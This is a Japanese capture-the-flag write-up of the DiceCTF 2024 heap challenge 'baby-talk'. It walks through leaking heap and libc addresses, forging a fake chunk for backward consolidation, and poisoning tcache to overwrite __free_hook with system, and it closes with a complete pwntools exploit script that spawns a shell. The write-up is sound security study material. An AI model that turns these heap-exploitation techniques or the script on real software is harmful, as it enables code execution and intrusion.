🐾

DiceCTF 2024 writeup

2024/02/11に公開

競技後に他の型のライトアップなどを参考にしつつ解いてみたところ、学びが多かったので復習用にライトアップを書いてみます。

pwn/baby-talk

heap問でした。

dockerfileの記載から、問題バイナリはglibc-2.27でコンパイルされているので、__free_hookを上書きしてシェルを取ればよいというheapの入門的な問題だったと思います。
※解けなかったけど…

バイナリ関連

逆コンパイル

ソースコードは配布されていないので、Ghidraで逆コンパイルしてみます。
主要な部分は以下の通りです。

do_str
  • do_str: 標準入力から値を受け取りheap領域に保持する。
void do_str(void)

{
  uint uVar1;
  ulong __size;
  void *pvVar2;
  
  uVar1 = get_empty();
  if (uVar1 == 0xffffffff) {
    puts("too many!");
  }
  else {
    printf("size? ");
    __size = get_num();
    if (__size < 0x1001) {
      pvVar2 = malloc(__size);
      *(void **)(strs + (long)(int)uVar1 * 8) = pvVar2;
      if (*(long *)(strs + (long)(int)uVar1 * 8) == 0) {
        puts("no mem!");
      }
      else {
        printf("str? ");
        read(0,*(void **)(strs + (long)(int)uVar1 * 8),__size);
        printf("stored at %d!\n",(ulong)uVar1);
      }
    }
    else {
      puts("too big!");
    }
  }
  return;
}
do_tok
  • do_tok: do_strで保持した値を選択し、strtok関数で切り出す
void do_tok(void)

{
  char local_22;
  undefined local_21;
  char *local_20;
  ulong local_18;
  char *local_10;
  
  printf("idx? ");
  local_18 = get_num();
  if (local_18 < 0x10) {
    local_10 = *(char **)(strs + local_18 * 8);
    if (local_10 == (char *)0x0) {
      puts("empty!");
    }
    else {
      printf("delim? ");
      read(0,&local_22,2);
      local_21 = 0;
      local_20 = strtok(local_10,&local_22);
      while (local_20 != (char *)0x0) {
        puts(local_20);
        local_20 = strtok((char *)0x0,&local_22);
      }
    }
  }
  else {
    puts("too big!");
  }
  return;
}
do_del
  • do_del: do_str関数で保持した領域を選択し、freeする

void do_del(void)

{
  ulong uVar1;
  
  printf("idx? ");
  uVar1 = get_num();
  if (uVar1 < 0x10) {
    if (*(void **)(strs + uVar1 * 8) == (void *)0x0) {
      puts("empty!");
    }
    else {
      free(*(void **)(strs + uVar1 * 8));
      *(undefined8 *)(strs + uVar1 * 8) = 0;
    }
  }
  else {
    puts("too big!");
  }
  return;
}

緩和機構

[*] '/chal/chall'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

動作確認

$ ./chall
size? 20
str? this is test desu.
stored at 0!
1. str
2. tok
3. del
4. exit

> 2
idx? 0
delim?
this
is
test
desu.

1. str
2. tok
3. del
4. exit

> 3
idx? 0
1. str
2. tok
3. del
4. exit

解法

do_str関数では入力文字数に制限がないため、入力する文字数を調整することでdo_tok関数を使ってfreeした後のchunkのfd部分をリークできます。

今回の解法ではheapとlibcのアドレスが必要なのでリークしていきます。

heap leak

do_str2->do_del2と実行すると、次にdo_strを実行する際にサイズをそろえてあげると以前にfreeしたchunkが割り当てられます。
この際割り当てられるchunkにはfdが残っているので、1文字だけ入力することでfd部分の上書きを防ぎます。
その後do_tok関数でこのchunkを指定すればfd部分がリークされます。

do_str(0x20,b"A"*0x20)
do_str(0x20,b"B"*0x20)
do_del(0)
do_del(1)
do_str(0x20,b"C")

leak =  do_tok(0,b"B")
heap_leak = u64(leak.ljust(8,b"\x00"))
heap_base = heap_leak & 0xfffffffffffff000
info("heapleak : %#x",heap_base)
do_del(0)

同じような手法でlibcリークもできます。
libcをリークするにはfreeしたchunkをunsorted binにリンクさせるようにすればよいです。
tcacheに入らないようなサイズを確保した後、freeします。

do_str(0x750,b"D")
do_str(0x750,b"E")
do_del(0)
do_str(0x750,b"F")

libc_leak = u64(do_tok(0, "").ljust(8, b'\x00')) -  0x3ebc46
info("libc_leak: %#x",libc_leak)

consolidate backward

consolidate backwardを使ってchunkを重複させ、tcacheのfdを上書きする方法を取ります。

consolidate backwardさせるまでの順序は以下の通りです。

  1. chunkA内にfake_chunkを格納する
  2. chunkBのprev_inuseを0に変更する
  3. chunkBのprev_sizeをchunkB - prev_size = fake_chunkのアドレスになるよう調整する
  4. chunkBをfreeする

leakさせた情報を使い、fake_chunkを仕込みます。
consolidate backwardさせるにはいくつかの条件を満たす必要があります。
glibc-2.27では以下の箇所に複数のバリデーションがあります。

glibc-2.27
https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L4291
    /* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }
https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L1404
/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");			      \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr ("corrupted double-linked list");			      \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (chunksize_nomask (P))			      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr ("corrupted double-linked list (not small)");   \
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}
disass __GI___libc_free
 0x00007f270fe2ac7e <+878>:   mov    rax,QWORD PTR [r12-0x10] ;  #define prev_size(p) ((p)->mchunk_prev_size) https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L1291
   0x00007f270fe2ac83 <+883>:   sub    r13,rax ;   
   0x00007f270fe2ac86 <+886>:   add    r14,rax ;  size += prevsize;
   0x00007f270fe2ac89 <+889>:   mov    rsi,QWORD PTR [r13+0x8] ; #define chunk_at_offset(p, s)  ((mchunkptr) (((char *) (p)) + (s)))
   0x00007f270fe2ac8d <+893>:   mov    rax,rsi
   0x00007f270fe2ac90 <+896>:   and    rax,0xfffffffffffffff8 ; #define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))
   0x00007f270fe2ac94 <+900>:   cmp    rax,QWORD PTR [r13+rax*1+0x0] ; ;    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))   
   0x00007f270fe2ac99 <+905>:   jne    0x7f270fe2b158 <__GI___libc_free+2120> ;   malloc_printerr ("corrupted size vs. prev_size");	
   0x00007f270fe2ac9f <+911>:   mov    rax,QWORD PTR [r13+0x10] ;   FD = P->fd;
   0x00007f270fe2aca3 <+915>:   mov    rdx,QWORD PTR [r13+0x18] ;   BK = P->bk;	
   0x00007f270fe2aca7 <+919>:   cmp    r13,QWORD PTR [rax+0x18] ;  r13 != FD 
   0x00007f270fe2acab <+923>:   jne    0x7f270fe2b133 <__GI___libc_free+2083>
   0x00007f270fe2acb1 <+929>:   cmp    r13,QWORD PTR [rdx+0x10] ; r13 != BK 
   0x00007f270fe2acb5 <+933>:   jne    0x7f270fe2b133 <__GI___libc_free+2083>

fake_chunkを作成するうえで着目すべきはmalloc.c内の以下の箇所です。
Pは統合させたいchunkのアドレス、つまりfake_chunkを格納するアドレスです。

https://elixir.bootlin.com/glibc/glibc-2.27/source/malloc/malloc.c#L1409
#define unlink(AV, P, BK, FD) {                                            \
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");			      \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr ("corrupted double-linked list");			      \

free関数実行中にエラーを起さないようにするには以下の条件を満たすようにfake_chunkのfd,bkを設定します。
FD->bk == P and BK->fd == P

また、[fake_chunk_addr + fake_chunk_size] == free_chunk_prev_size になるようにfree_chunkのprev_sizeとheap内の配置を調整します。

fake_chunk_addr = heap_base + 0x2c0
fake_chunk = flat(
    0xf0,
    fake_chunk_addr,fake_chunk_addr,
)

do_str(0x70,b"G"*8 + fake_chunk)

do_tok関数でchunk headerのsize部分の値が区切り文字になるようにdelimを指定すると、prev_inuseを変更できます。

以下の場合を検証してみます。

do_str(0x38,b"K"*0x38) # 目的のchunkより前に来るようにメモリ確保して文字を詰める
do_str(0x148, b"L" * 0x148)  # chunk sizeが0x151になるようにメモリ確保
do_tok(0,chr(0x51)) # 前のchunkを指定し、0x51をdelimに指定

目論見通り、prev_inuseが変更されました。

次に、prev_sizeを変更します。0x38のchunkをfreeした後に再度確保してprev_sizeの部分に値を書き込めばよいです。

do_del(0)
do_str(0x38,b"H"*0x30 + p64(0xf0))

あとは、tcache binにリンクされないように適当なchunkを確保した後にfreeさせ、prev_inuseを上書きしたchunkをfreeします。

unsorted binにfake_chunkがリンクされ、fake_chunkのsizeにfreeしたchunkのsizeが足されていることを確認できます。

get shell

上記の手順でunsorted binにリンクしたchunkはfake_chunk+0x1f0分上位のchunkと重複しています。あとは以下の手順でfree_hookを上書きすることでshellを獲得できます。

do_del(1) # fake_chunk直下のchunkをfree
payload = flat(
  	b"N" * 0x68, 0x41,
  	libc.sym["__free_hook"]
)

do_str(0x1e8,payload) # fake_chunkを確保し、直下のfree_chunkのfdをfree_hookのアドレスに上書き 
do_str(0x38,b"OOO") # 適当にmallocさせる

do_str(0x38,p64(libc.sym["system"])) # free_hookのアドレスにsystemを書き込み
do_str(0x28,b"/bin/sh\x00") # /bin/shを書き込んだchunkを用意
do_del(6) # ↑のchunkをfreeするとshellをget
solver.py
from pwn import *

def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)

gdbscript = '''
set max-visualize-chunk-size 0x40
b *do_str+99
b *do_tok+163
b *do_del+110
continue
'''.format(**locals())

exe = "./chall"
elf = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
context.arch="amd64"
libc = ELF("./libc-2.27.so")
ld = ELF("./ld-2.27.so")
context(terminal=['tmux', 'split-window', '-h'])


io = start()

def do_str(size, data):
	io.sendlineafter("exit", "1")
	io.sendlineafter("size? ", str(size).encode())
	io.sendafter("str? ", data)

def do_tok(idx, delim):
	io.sendlineafter("exit", "2")
	io.sendlineafter("idx?", str(idx).encode())
	io.sendlineafter("delim?", delim)
	return io.recvuntil("1.")[1:-3]

def do_del(idx):
	io.sendlineafter("exit", "3")
	io.sendlineafter("idx? ", str(idx).encode())


# heap leak section

do_str(0x20,b"A"*0x20)
do_str(0x20,b"B"*0x20)
do_del(0)
do_del(1)
do_str(0x20,b"C")

leak =  do_tok(0,b"B")
heap_leak = u64(leak.ljust(8,b"\x00"))
heap_base = heap_leak & 0xfffffffffffff000
info("heapleak : %#x",heap_base)

do_del(0)

# libc leak secion
do_str(0x750,b"D")
do_str(0x750,b"E")
do_del(0)
do_str(0x750,b"F")
libc_leak = u64(do_tok(0, "").ljust(8, b'\x00')) -  0x3ebc46
info("libc_leak: %#x",libc_leak)
libc.address = libc_leak

# consolidate backward

fake_chunk_addr = heap_base + 0x2c0
fake_chunk = flat(
    0xf0,
    fake_chunk_addr,fake_chunk_addr,
)

do_del(0)
do_del(1)


do_str(0x70,b"G"*8 + fake_chunk)

do_str(0x38, b"H")
do_str(0x28,b"J")

do_str(0x38,b"K"*0x38) # idx = 3
do_str(0x148, b"L" * 0xf8 + p64(0x51) + 0x48 * b"A") 

do_tok(3,chr(0x51))
do_del(3)

do_str(0x38,b"H"*0x30 + p64(0xf0))

for i in range(7):
	do_str(0xf8, "M")

for i in range(7, -1, -1):
	do_del(5+i)
 
do_del(4)
do_del(1)

payload = flat(
  	b"N" * 0x68, 0x41,
  	libc.sym["__free_hook"]
)


do_str(0x1e8,payload)
do_str(0x38,b"OOO")

do_str(0x38,p64(libc.sym["system"]))
do_str(0x28,b"/bin/sh\x00")
do_del(6)

io.interactive()

#dice{tkjctf_lmeow_fee9c2ee3952d7b9479306ddd8e477ca}

感想

とても勉強になりました。
heapはあまり慣れていなく、手間取ってしまったのでこれからはしっかり対策したいですね…

TIPS

pwntools
gdb.attach(io,gdbscript=gdbscript)
solver内の任意の箇所に埋め込めばその処理のあとからgdbで動的解析できる。
heapだとガチャガチャやるので便利だった。

参考

https://github.com/shellphish/how2heap
https://itaybel.github.io/dicectf-quals-2024/
https://www.slideshare.net/codeblue_jp/cb16-matsukuma-ja-68459648
https://hackmd.io/@gand3lf/houseofeinherjar

Discussion